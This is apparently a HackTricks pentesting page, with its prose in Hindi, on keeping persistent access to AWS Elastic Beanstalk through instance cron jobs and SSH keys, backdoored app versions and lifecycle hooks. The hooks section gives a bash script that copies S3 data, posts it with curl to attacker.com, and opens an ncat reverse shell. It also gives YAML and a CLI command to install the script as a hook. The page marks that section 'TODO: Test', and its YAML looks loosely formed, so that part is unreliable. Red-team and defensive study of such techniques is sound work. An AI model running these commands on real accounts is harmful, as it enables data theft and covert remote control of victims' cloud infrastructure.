AWS - Elastic Beanstalk Persistence

Support HackTricks

Elastic Beanstalk

For more information check:

Persistence in Instance

AWS खाते के अंदर स्थिरता बनाए रखने के लिए, कुछ स्थिरता तंत्र को उदाहरण के अंदर पेश किया जा सकता है (क्रॉन जॉब, ssh कुंजी...) ताकि हमलावर इसे एक्सेस कर सके और IAM भूमिका क्रेडेंशियल्स को मेटाडेटा सेवा से चुरा सके

Backdoor in Version

एक हमलावर S3 रिपॉजिटरी के अंदर कोड में बैकडोर डाल सकता है ताकि यह हमेशा अपने बैकडोर और अपेक्षित कोड को निष्पादित करे।

New backdoored version

वास्तविक संस्करण पर कोड को बदलने के बजाय, हमलावर एप्लिकेशन का एक नया बैकडोर संस्करण तैनात कर सकता है।

Abusing Custom Resource Lifecycle Hooks

TODO: Test

Elastic Beanstalk जीवनचक्र हुक प्रदान करता है जो आपको उदाहरण प्रावधान और समाप्ति के दौरान कस्टम स्क्रिप्ट चलाने की अनुमति देता है। एक हमलावर एक जीवनचक्र हुक को कॉन्फ़िगर कर सकता है जो डेटा को निकालने या AWS खाते तक पहुंच बनाए रखने के लिए समय-समय पर एक स्क्रिप्ट निष्पादित करता है

bashCopy code# Attacker creates a script that exfiltrates data and maintains access
echo '#!/bin/bash
aws s3 cp s3://sensitive-data-bucket/data.csv /tmp/data.csv
gzip /tmp/data.csv
curl -X POST --data-binary "@/tmp/data.csv.gz" https://attacker.com/exfil
ncat -e /bin/bash --ssl attacker-ip 12345' > stealthy_lifecycle_hook.sh

# Attacker uploads the script to an S3 bucket
aws s3 cp stealthy_lifecycle_hook.sh s3://attacker-bucket/stealthy_lifecycle_hook.sh

# Attacker modifies the Elastic Beanstalk environment configuration to include the custom lifecycle hook
echo 'Resources:
AWSEBAutoScalingGroup:
Metadata:
AWS::ElasticBeanstalk::Ext:
TriggerConfiguration:
triggers:
- name: stealthy-lifecycle-hook
events:
- "autoscaling:EC2_INSTANCE_LAUNCH"
- "autoscaling:EC2_INSTANCE_TERMINATE"
target:
ref: "AWS::ElasticBeanstalk::Environment"
arn:
Fn::GetAtt:
- "AWS::ElasticBeanstalk::Environment"
- "Arn"
stealthyLifecycleHook:
Type: AWS::AutoScaling::LifecycleHook
Properties:
AutoScalingGroupName:
Ref: AWSEBAutoScalingGroup
LifecycleTransition: autoscaling:EC2_INSTANCE_LAUNCHING
NotificationTargetARN:
Ref: stealthy-lifecycle-hook
RoleARN:
Fn::GetAtt:
- AWSEBAutoScalingGroup
- Arn' > stealthy_lifecycle_hook.yaml

# Attacker applies the new environment configuration
aws elasticbeanstalk update-environment --environment-name my-env --option-settings Namespace="aws:elasticbeanstalk:customoption",OptionName="CustomConfigurationTemplate",Value="stealthy_lifecycle_hook.yaml"
HackTricks का समर्थन करें

Last updated